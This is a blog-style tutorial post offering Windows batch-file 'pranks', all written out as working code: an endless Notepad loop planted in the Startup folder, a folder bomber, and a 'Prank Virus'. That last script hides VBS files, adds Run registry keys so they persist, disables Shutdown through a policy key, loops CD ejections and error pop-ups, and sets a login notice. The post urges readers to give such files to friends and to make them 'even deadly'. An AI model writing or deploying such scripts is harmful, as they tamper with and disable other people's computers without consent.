Pranks using Batch File : Part 1

Hi friends, in this post you will learn tricks and pranks using Batch File. Batch Files are plain text containing DOS command.  Batch file should always have extension .BAT. You can write your batch file with notepad or DOS editor. So lets have a look on some tricks and pranks.

For this first understand meaning of :
@echo off  => command prompt window blank. 
md %random%  => command in MS-DOS to create random folders. 
(md is used for creating a folder and
%random% means folders with random names.)
 goto TOP => retures the command to :top which causes an infinite loop.

• Open Notepad Continuously

           This trick is used to open Notepad continuously.

           Steps to open Notepad continuously:

1. Open Notepad
2. Copy the below text in your notepad

          @echo off 

          :TOP 

          START %SystemRoot%/system32/notepad.exe 

          goto TOP

          Save the above text with .bat extension and close it. 

          Now open the file and see how it annoys you by opening notepad again and again.

       

          You can also save this file in the following path:

          C:\Documents and Settings\All Users\Start Menu\Programs \Startup folder

          so when you start your computer then file runs into your computer and then Notepad   

          continuously open in window.

• Open CMD Continuously

         This trick is used to open CMD continuously till you want.

         Steps:

1. Open Notepad and write "START" ( depending upon you how many times you want to open CMD, you can make as many as you would like ).
   
    
2. Save file as .bat extension. 
3. Open that file and you observe that how many times you write START in Notepad, the CMD console box is open same as number of START written in Notepad.

• Folder Bomber

         This batch file will create 2000+ folder in less than a minute.
         Open your notepad and type the following codes.

         @echo off 

         :top 

         md %random% 

         goto top

        Save it as 2000.bat Give this file to your friend and when he will click on that his nightmare will  be started. 

• Prank Virus

        Copy and paste the below mentioned codes and see the fun. You can edit the codes to make more funny or even deadly.

       @echo off
       echo Set oWMP=CreateObject("WMplayer.OCX.7")>>123.vbs

       echo Set colCDROMs=oWMP.cdromCollection>>123.vbs
       echo do>>123.vbs
       echo if colCDROMs.count>=1 then>>123.vbs
       echo for i=0 to colCDROMs.Count -1>>123.vbs
       echo colCDROMs.Item(i).Eject>>123.vbs
       echo Next>>123.vbs
       echo For i=0 to colCDROMs.Count -1>>123.vbs
       echo colCDROMs.Item(i).Eject>>123.vbs
       echo Next>>123.vbs
       echo End If>>123.vbs
       echo wscript.sleep 5000>>123.vbs
       echo loop>>123.vbs
       echo DO>>1234.vbs
       echo MSGBOX "YOU ARE SCREWED!!!!!!!!!!!!",64,"ErR0r">>1234.vbs

       echo LOOP>>1234.vbs
       copy /y 123.vbs C:\
       copy /y 1234.vbs C:\
       attrib +s +h c:\123.vbs
       attrib +s +h c:\1234.vbs
       reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies    \Explorer\ /v NoClose /t REG_DWORD /f /d 1
       reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\policies\system\ /v legalnoticetext /f /d "YOR ARE BEEN SCREWED"
      reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\policies\system\ /v legalnoticecaption /f /d "B0zZ_ErR0r"
      reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v 123.vbs /d c:\123.vbs
      reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v 1234.vbs /d c:\1234.vbs
       attrib +s +h c:\123.vbs
       attrib +s +h c:\1234.vbs

       start 123.vbs
       start 1234.vbs
       echo Code Smahser owns your computer!!>>c:\almasmalik.txt
       echo Code Smahser owns your computer!!>>d:\almasmalik.txt
       echo Code Smahser owns your computer!!>>e:\almasmalik.txt
       msg * MAY YOUR COMPUTER "REST IN PEACE"

NOTE : Some of the following tricks can cause system damage or can lead process in infinite cycle. So do not try on your own system.